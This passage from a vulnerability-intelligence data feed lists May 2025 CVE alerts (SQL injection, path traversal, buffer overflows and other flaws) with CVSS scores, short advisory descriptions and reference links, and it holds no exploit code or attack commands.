2025-05-10T15:31:06.363Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308221\n2. https://vuldb.com/?ctiid.308221\n3. https://vuldb.com/?submit.567166\n4. https://github.com/y77-88/myCVE/issues/3\n5. https://phpgurukul.com/", "creation_timestamp": "2025-05-10T16:36:03.000000Z"}, {"uuid": "702f4ece-2fd9-47dd-807a-0503b7998e80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4506", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15899", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4506\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in Campcodes Online Food Ordering System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /routers/menu-router.php. The manipulation of the argument 1_price leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-10T16:00:08.630Z\n\ud83d\udccf Modified: 2025-05-10T16:00:08.630Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308222\n2. https://vuldb.com/?ctiid.308222\n3. https://vuldb.com/?submit.567169\n4. https://github.com/TEhS411/cve/issues/5\n5. https://www.campcodes.com/", "creation_timestamp": "2025-05-10T16:36:01.000000Z"}, {"uuid": "347adc62-04f2-4cf8-abd0-a26daaedabca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4556", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16016", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4556\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The web management interface of Okcat Parking Management Platform from ZONG YU has an Arbitrary File Upload vulnerability, allowing unauthenticated remote attackers to upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server.\n\ud83d\udccf Published: 2025-05-12T02:11:56.864Z\n\ud83d\udccf Modified: 2025-05-12T17:49:41.498Z\n\ud83d\udd17 References:\n1. https://www.twcert.org.tw/tw/cp-132-10110-114f0-1.html\n2. https://www.twcert.org.tw/en/cp-139-10111-b78e6-2.html", "creation_timestamp": "2025-05-12T18:38:10.000000Z"}, {"uuid": "fd1d7d37-11b2-4ea2-9ed9-eaec65a556fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4548", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16029", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4548\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as critical has been found in Campcodes Online Food Ordering System 1.0. This affects an unknown part of the file /routers/router.php. The manipulation of the argument Username leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-11T21:31:05.460Z\n\ud83d\udccf Modified: 2025-05-12T18:55:01.698Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308295\n2. https://vuldb.com/?ctiid.308295\n3. https://vuldb.com/?submit.567547\n4. https://github.com/jhs1121/cve/issues/1\n5. https://www.campcodes.com/", "creation_timestamp": "2025-05-12T19:29:19.000000Z"}, {"uuid": "0d35cdba-2c1d-4afe-b8dc-f243cce76754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4528", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15918", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4528\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in D\u00edgitro NGC Explorer up to 3.44.15 and classified as problematic. This issue affects some unknown processing. The manipulation leads to session expiration. The attack may be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-05-11T03:00:06.849Z\n\ud83d\udccf Modified: 2025-05-11T03:00:06.849Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308273\n2. https://vuldb.com/?ctiid.308273\n3. https://vuldb.com/?submit.565309", "creation_timestamp": "2025-05-11T03:29:01.000000Z"}, {"uuid": "06787583-d2f6-4216-ab5b-64901ae1d187", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4526", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15917", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4526\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as problematic, was found in D\u00edgitro NGC Explorer 3.44.15. This affects an unknown part of the component Configuration Page. The manipulation leads to missing password field masking. It is possible to initiate the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-05-11T01:00:06.924Z\n\ud83d\udccf Modified: 2025-05-11T01:00:06.924Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308271\n2. https://vuldb.com/?ctiid.308271\n3. https://vuldb.com/?submit.565307", "creation_timestamp": "2025-05-11T01:27:11.000000Z"}, {"uuid": "35945398-137a-4dff-8bf2-85a8790d44df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4525", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15916", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4525\n\ud83d\udd25 CVSS Score: 7.3 (cvssV4_0, Vector: CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as critical, has been found in Discord 1.0.9188 on Windows. Affected by this issue is some unknown functionality in the library WINSTA.dll. The manipulation leads to uncontrolled search path. The attack needs to be approached locally. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-05-10T22:31:05.153Z\n\ud83d\udccf Modified: 2025-05-10T22:31:05.153Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308270\n2. https://vuldb.com/?ctiid.308270\n3. https://vuldb.com/?submit.562788\n4. https://gist.github.com/shellkraft/ac4be6a3953e2889a7bf54aea2db88c2", "creation_timestamp": "2025-05-10T23:27:33.000000Z"}, {"uuid": "da9787b3-41be-4d26-8f56-04470fc933dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4530", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15920", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4530\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in feng_ha_ha/megagao ssm-erp and production_ssm 1.0. It has been declared as problematic. Affected by this vulnerability is the function handleFileDownload of the file FileController.java of the component File Handler. The manipulation leads to path traversal. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This product is distributed under two entirely different names.\n\ud83d\udccf Published: 2025-05-11T05:00:06.212Z\n\ud83d\udccf Modified: 2025-05-11T05:00:06.212Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308275\n2. https://vuldb.com/?ctiid.308275\n3. https://vuldb.com/?submit.565380\n4. https://github.com/Hao-Ni/CVE/issues/2", "creation_timestamp": "2025-05-11T05:28:20.000000Z"}, {"uuid": "f356c620-2c1d-4078-bb0d-1073c00853ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4529", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15919", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4529\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in Seeyon Zhiyuan OA Web Application System 8.1 SP2. It has been classified as problematic. Affected is the function Download of the file seeyon\\opt\\Seeyon\\A8\\ApacheJetspeed\\webapps\\seeyon\\WEB-INF\\lib\\seeyon-apps-m3.jar!\\com\\seeyon\\apps\\m3\\core\\controller\\M3CoreController.class of the component ZIP File Handler. The manipulation of the argument Name leads to path traversal. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-11T04:00:08.206Z\n\ud83d\udccf Modified: 2025-05-11T04:00:08.206Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308274\n2. https://vuldb.com/?ctiid.308274\n3. https://vuldb.com/?submit.565379\n4. https://wx.mail.qq.com/s?k=h3jd6HR4UnUJxQZ0RG", "creation_timestamp": "2025-05-11T04:27:08.000000Z"}, {"uuid": "43f4fdd9-0aba-4225-961b-d44e2135a015", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4537", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15926", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4537\n\ud83d\udd25 CVSS Score: 2.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in yangzongzhuan RuoYi-Vue up to 3.8.9 and classified as problematic. Affected by this issue is some unknown functionality of the file ruoyi-ui/jsencrypt.js and ruoyi-ui/login.vue of the component Password Handler. The manipulation leads to cleartext storage of sensitive information in a cookie. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-11T09:31:05.162Z\n\ud83d\udccf Modified: 2025-05-11T09:31:05.162Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308282\n2. https://vuldb.com/?ctiid.308282\n3. https://vuldb.com/?submit.566469\n4. https://magnificent-dill-351.notion.site/Password-Disclosure-in-RuoYi-Vue-3-8-9-1e3c693918ed80ee9799f270c8346cd4", "creation_timestamp": "2025-05-11T10:27:38.000000Z"}, {"uuid": "9201fc8e-33fc-499c-899d-3519769bbd36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4534", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15925", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4534\n\ud83d\udd25 CVSS Score: 6.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as problematic, has been found in SunGrow Logger1000 01_A. This issue affects some unknown processing. The manipulation leads to weak password requirements. The attack may be initiated remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-05-11T07:31:08.535Z\n\ud83d\udccf Modified: 2025-05-11T07:31:08.535Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308279\n2. https://vuldb.com/?ctiid.308279\n3. https://vuldb.com/?submit.566423\n4. https://wiki.shikangsi.com/post/share/a1cc2e2c-1f78-4c29-86dc-181800e34415", "creation_timestamp": "2025-05-11T08:27:50.000000Z"}, {"uuid": "af85cdd2-ce10-4e69-b254-6081f02f7cdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4535", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15924", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4535\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as problematic, was found in Gosuncn Technology Group Audio-Visual Integrated Management Platform 4.0. Affected is an unknown function of the file /config/config.properties of the component Configuration File Handler. The manipulation leads to information disclosure. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-05-11T08:00:11.905Z\n\ud83d\udccf Modified: 2025-05-11T08:00:11.905Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308280\n2. https://vuldb.com/?ctiid.308280\n3. https://vuldb.com/?submit.566424\n4. https://wiki.shikangsi.com/post/share/d9f6cb0a-a673-472c-812c-7ba9545bfba8", "creation_timestamp": "2025-05-11T08:27:49.000000Z"}, {"uuid": "80c71caa-0159-4a92-875a-54d25efada43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4533", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15923", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4533\n\ud83d\udd25 CVSS Score: 5.1 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as problematic was found in JeecgBoot up to 3.8.0. This vulnerability affects the function unzipFile of the file /jeecg-boot/airag/knowledge/doc/import/zip of the component Document Library Upload. The manipulation of the argument File leads to resource consumption. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-11T06:31:04.456Z\n\ud83d\udccf Modified: 2025-05-11T06:31:04.456Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308278\n2. https://vuldb.com/?ctiid.308278\n3. https://vuldb.com/?submit.566192\n4. https://github.com/jeecgboot/JeecgBoot/issues/8199\n5. https://github.com/jeecgboot/JeecgBoot/issues/8199#issuecomment-2834691016\n6. https://github.com/jeecgboot/JeecgBoot/issues/8199#issue-3022937633", "creation_timestamp": "2025-05-11T07:27:33.000000Z"}, {"uuid": "cc658bae-ad26-4e79-84f3-6d6105d16f88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4542", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15932", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4542\n\ud83d\udd25 CVSS Score: 2.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as problematic, has been found in Freeebird Hotel \u9152\u5e97\u7ba1\u7406\u7cfb\u7edf API up to 1.2. Affected by this issue is some unknown functionality of the file /src/main/java/cn/mafangui/hotel/tool/SessionInterceptor.java. The manipulation leads to permissive cross-domain policy with untrusted domains. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-11T17:31:03.798Z\n\ud83d\udccf Modified: 2025-05-11T17:31:03.798Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308288\n2. https://vuldb.com/?ctiid.308288\n3. https://vuldb.com/?submit.567214\n4. https://github.com/ShenxiuSec/cve-proofs/blob/main/POC-20250429-01.md", "creation_timestamp": "2025-05-11T18:49:42.000000Z"}, {"uuid": "3c234ff2-3436-478b-a5ef-04f95e27b439", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4539", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15927", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4539\n\ud83d\udd25 CVSS Score: 7.3 (cvssV4_0, Vector: CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in Hainan ToDesk 4.7.6.3. It has been declared as critical. This vulnerability affects unknown code in the library profapi.dll of the component DLL File Parser. The manipulation leads to uncontrolled search path. It is possible to launch the attack on the local host. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-05-11T11:00:10.385Z\n\ud83d\udccf Modified: 2025-05-11T11:00:10.385Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308284\n2. https://vuldb.com/?ctiid.308284\n3. https://vuldb.com/?submit.566698\n4. https://www.yuque.com/ba1ma0-an29k/nnxoap/dgxzuhd90e19grpg?singleDoc", "creation_timestamp": "2025-05-11T11:28:21.000000Z"}, {"uuid": "34a7a056-1c50-472d-acb0-798822f3566f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4556", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15986", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4556\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The web management interface of Okcat Parking Management Platform from ZONG YU has an Arbitrary File Upload vulnerability, allowing unauthenticated remote attackers to upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server.\n\ud83d\udccf Published: 2025-05-12T02:11:56.864Z\n\ud83d\udccf Modified: 2025-05-12T17:49:41.498Z\n\ud83d\udd17 References:\n1. https://www.twcert.org.tw/tw/cp-132-10110-114f0-1.html\n2. https://www.twcert.org.tw/en/cp-139-10111-b78e6-2.html", "creation_timestamp": "2025-05-12T18:29:31.000000Z"}, {"uuid": "6f5ce4bc-5d65-4dee-bcff-af9ccdd2142d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4543", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15931", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4543\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as critical, was found in LyLme Spage 2.1. This affects an unknown part of the file lylme_spage/blob/master/admin/ajax_link.php. The manipulation of the argument sort leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-11T18:00:06.134Z\n\ud83d\udccf Modified: 2025-05-11T18:00:06.134Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308289\n2. https://vuldb.com/?ctiid.308289\n3. https://vuldb.com/?submit.567290\n4. https://github.com/yanbeiii/Proof-of-Concept/blob/main/lylme-sqli.md", "creation_timestamp": "2025-05-11T18:49:41.000000Z"}, {"uuid": "705e3715-17be-4dd1-b0e5-e063131adb0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4545", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16025", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4545\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in CTCMS Content Management System 2.1.2. It has been classified as critical. Affected is the function del of the file ctcms\\apps\\controllers\\admin\\Tpl.php of the component File Handler. The manipulation of the argument File leads to path traversal. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-11T19:31:04.417Z\n\ud83d\udccf Modified: 2025-05-12T18:57:46.800Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308292\n2. https://vuldb.com/?ctiid.308292\n3. https://vuldb.com/?submit.566498\n4. https://github.com/xiaoyangsec/ctcms/blob/main/CTCMS_Arbitrary_File_Deletion_Vulnerability_Authenticated.md", "creation_timestamp": "2025-05-12T19:29:13.000000Z"}, {"uuid": "87113b14-e7e6-42d6-9c67-78c58e280927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4544", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16024", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4544\n\ud83d\udd25 CVSS Score: 7.5 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in D-Link DI-8100 up to 16.07.26A1 and classified as critical. This issue affects some unknown processing of the file /ddos.asp of the component jhttpd. The manipulation of the argument def_max/def_time/def_tcp_max/def_tcp_time/def_udp_max/def_udp_time/def_icmp_max leads to stack-based buffer overflow. The attack may be initiated remotely. The complexity of an attack is rather high. The exploitation is known to be difficult.\n\ud83d\udccf Published: 2025-05-11T18:31:05.076Z\n\ud83d\udccf Modified: 2025-05-12T18:58:45.569Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308291\n2. https://vuldb.com/?ctiid.308291\n3. https://vuldb.com/?submit.562695\n4. https://github.com/Yhuanhuan01/DI-8100_Vulnerability_Report/blob/main/Vulnerability_Report.md\n5. https://www.dlink.com/", "creation_timestamp": "2025-05-12T19:29:12.000000Z"}, {"uuid": "48e6e1b4-4b17-4030-ab2a-c055270d0a91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45835", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16052", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45835\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A null pointer dereference vulnerability was discovered in Netis WF2880 v2.1.40207. The vulnerability exists in the FUN_004904c8 function of the cgitest.cgi file. Attackers can trigger this vulnerability by controlling the environment variable value CONTENT_LENGTH, causing the program to crash and potentially leading to a denial-of-service (DoS) attack.\n\ud83d\udccf Published: 2025-05-12T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-12T22:07:51.523Z\n\ud83d\udd17 References:\n1. https://github.com/Chinesexilinyu/Netis-WF2880-cgitest.cgi-Null-Pointer-Dereference-Vulnerability/tree/main/1", "creation_timestamp": "2025-05-12T22:29:02.000000Z"}, {"uuid": "5b43e49e-b6a7-40ac-bca8-25d3681cfbc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45779", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16061", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45779\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Tenda AC10 V1.0re_V15.03.06.46 is vulnerable to Buffer Overflow in the formSetPPTPUserList handler via the list POST parameter.\n\ud83d\udccf Published: 2025-05-12T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-12T22:07:01.273Z\n\ud83d\udd17 References:\n1. https://www.tendacn.com/us/download/detail-3782.html\n2. https://github.com/sunyou-iot/iot-vul/blob/main/TendaAC10/CVE-2025-45779/README.md", "creation_timestamp": "2025-05-12T22:29:11.000000Z"}, {"uuid": "95634e0b-fc73-4fc5-959f-ba555bd89fb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45867", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16136", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45867\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: TOTOLINK A3002R v4.0.0-B20230531.1404 was discovered to contain a buffer overflow via the static_dns1 parameter in the formIpv6Setup interface.\n\ud83d\udccf Published: 2025-05-13T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-13T15:19:19.900Z\n\ud83d\udd17 References:\n1. https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/258/ids/36.html\n2. https://github.com/Jiangxiazhe/IOT_hack/blob/main/TOTOLINK/A3002R/10/overflow.md", "creation_timestamp": "2025-05-13T15:31:09.000000Z"}, {"uuid": "e7fe9ccf-1a37-4a42-a059-d4c3a5235218", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45239", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16207", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45239\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in the restores method (DataBackup.php) of foxcms v2.0.6 allows attackers to execute a directory traversal.\n\ud83d\udccf Published: 2025-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-13T19:12:52.674Z\n\ud83d\udd17 References:\n1. https://gitee.com/qianfox/foxcms/tree/V1.2.5/\n2. https://gist.github.com/chao112122/350e1af42ccea185206f8a8b9e4906e1", "creation_timestamp": "2025-05-13T19:31:03.000000Z"}, {"uuid": "b064e527-892a-4e30-8e5e-f8a3fdca3f2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45863", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16213", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45863\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: TOTOLINK A3002R v4.0.0-B20230531.1404 was discovered to contain a buffer overflow via the macstr parameter in the formMapDelDevice interface.\n\ud83d\udccf 